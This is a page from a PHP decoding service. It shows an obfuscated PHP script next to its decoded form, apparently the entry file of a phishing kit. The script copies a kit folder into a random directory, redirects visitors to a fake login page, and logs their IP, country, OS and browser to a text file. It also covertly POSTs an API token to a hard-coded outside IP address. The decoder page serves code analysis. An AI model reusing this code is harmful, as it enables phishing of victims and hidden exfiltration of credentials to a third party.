Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto CVgbs; uJgZ7: $get_user_os = get_user_os(); goto u43tY; ILbLd: $random = rand..

Decoded Output download

<?php 
 goto CVgbs; uJgZ7: $get_user_os = get_user_os(); goto u43tY; ILbLd: $random = rand(0, 100000000000); goto M_I4u; urii3: header("location:{$DIR}/login.php?#signin"); goto CigmH; kmTXS: $get_user_ip = get_user_ip(); goto zh7qg; IvnsU: fwrite($file, $get_user_ip . "  -  " . gmdate("Y-n-d") . " @ " . gmdate("H:i:s") . " >> [{$get_user_country} | {$get_user_os} | {$get_user_browser}] \xa"); goto hDQHj; AaAfV: $dispatch = substr(md5($random), 0, 17); goto D5waO; Q89yt: $url = "http://102.165.14.4:5000/receive_token?referrer=loco"; goto S2yNq; dmQVs: include "inc/Config.php"; goto JtoI3; S2yNq: $data = array("token" => $token); goto JSYu0; raxG2: recurse_copy($home, $DIR); goto urii3; D5waO: function recurse_copy($home, $DIR) { $dir = opendir($home); @mkdir($DIR); while (false !== ($file = readdir($dir))) { if ($file != "." && $file != "..") { if (is_dir($home . "/" . $file)) { recurse_copy($home . "/" . $file, $DIR . "/" . $file); } else { copy($home . "/" . $file, $DIR . "/" . $file); } } } closedir($dir); } goto iIT1J; JtoI3: $token = $api_key; goto Q89yt; JSYu0: $context = stream_context_create(array("http" => array("header" => "Content-type: application/x-www-form-urlencoded\xd
", "method" => "POST", "content" => http_build_query($data)))); goto w9G2j; vnQex: $get_user_countrycode = get_user_countrycode(); goto uJgZ7; u43tY: $get_user_browser = get_user_browser(); goto ILbLd; iIT1J: $home = "666"; goto raxG2; CVgbs: include "inc/app.php"; goto dmQVs; w9G2j: file_get_contents($url, false, $context); goto kmTXS; M_I4u: $DIR = substr(md5($random), 0, 15); goto AaAfV; zh7qg: $get_user_country = get_user_country(); goto vnQex; CigmH: $file = fopen("vu.txt", "a"); goto IvnsU; hDQHj: ?>

Did this file decode correctly?

Original Code

<?php
 goto CVgbs; uJgZ7: $get_user_os = get_user_os(); goto u43tY; ILbLd: $random = rand(0, 100000000000); goto M_I4u; urii3: header("\154\157\143\141\x74\x69\x6f\x6e\x3a{$DIR}\57\154\x6f\x67\x69\156\56\x70\x68\160\x3f\43\x73\151\147\x6e\x69\x6e"); goto CigmH; kmTXS: $get_user_ip = get_user_ip(); goto zh7qg; IvnsU: fwrite($file, $get_user_ip . "\40\40\55\40\40" . gmdate("\x59\x2d\156\x2d\144") . "\40\x40\40" . gmdate("\110\x3a\x69\72\x73") . "\40\x3e\x3e\x20\133{$get_user_country}\x20\174\40{$get_user_os}\x20\x7c\40{$get_user_browser}\x5d\40\xa"); goto hDQHj; AaAfV: $dispatch = substr(md5($random), 0, 17); goto D5waO; Q89yt: $url = "\x68\164\x74\x70\72\x2f\57\61\x30\x32\56\x31\66\x35\56\x31\64\x2e\x34\x3a\65\x30\60\60\x2f\162\145\x63\145\151\x76\145\x5f\x74\x6f\x6b\x65\156\77\162\145\146\145\162\162\145\162\75\x6c\x6f\143\x6f"; goto S2yNq; dmQVs: include "\151\156\x63\57\103\x6f\156\146\151\x67\x2e\160\150\160"; goto JtoI3; S2yNq: $data = array("\x74\157\153\x65\156" => $token); goto JSYu0; raxG2: recurse_copy($home, $DIR); goto urii3; D5waO: function recurse_copy($home, $DIR) { $dir = opendir($home); @mkdir($DIR); while (false !== ($file = readdir($dir))) { if ($file != "\x2e" && $file != "\x2e\56") { if (is_dir($home . "\x2f" . $file)) { recurse_copy($home . "\x2f" . $file, $DIR . "\x2f" . $file); } else { copy($home . "\57" . $file, $DIR . "\57" . $file); } } } closedir($dir); } goto iIT1J; JtoI3: $token = $api_key; goto Q89yt; JSYu0: $context = stream_context_create(array("\150\x74\164\160" => array("\150\x65\x61\144\x65\x72" => "\x43\x6f\156\x74\x65\x6e\x74\x2d\x74\171\160\x65\72\40\141\160\x70\x6c\x69\x63\x61\x74\151\157\x6e\57\170\x2d\167\167\167\x2d\146\x6f\162\x6d\55\x75\162\154\145\x6e\x63\x6f\x64\x65\144\xd\12", "\155\145\x74\150\157\x64" => "\120\117\123\x54", "\143\x6f\156\164\x65\x6e\x74" => http_build_query($data)))); goto w9G2j; vnQex: $get_user_countrycode = get_user_countrycode(); goto uJgZ7; u43tY: $get_user_browser = get_user_browser(); goto ILbLd; iIT1J: $home = "\66\x36\66"; goto raxG2; CVgbs: include "\151\156\143\57\141\x70\x70\x2e\x70\x68\160"; goto dmQVs; w9G2j: file_get_contents($url, false, $context); goto kmTXS; M_I4u: $DIR = substr(md5($random), 0, 15); goto AaAfV; zh7qg: $get_user_country = get_user_country(); goto vnQex; CigmH: $file = fopen("\166\165\x2e\164\x78\x74", "\141"); goto IvnsU; hDQHj: ?>

Function Calls

None

Variables

None

Stats

MD5 612312a34d99fa715c16c43255ca83bb
Eval Count 0
Decode Time 42 ms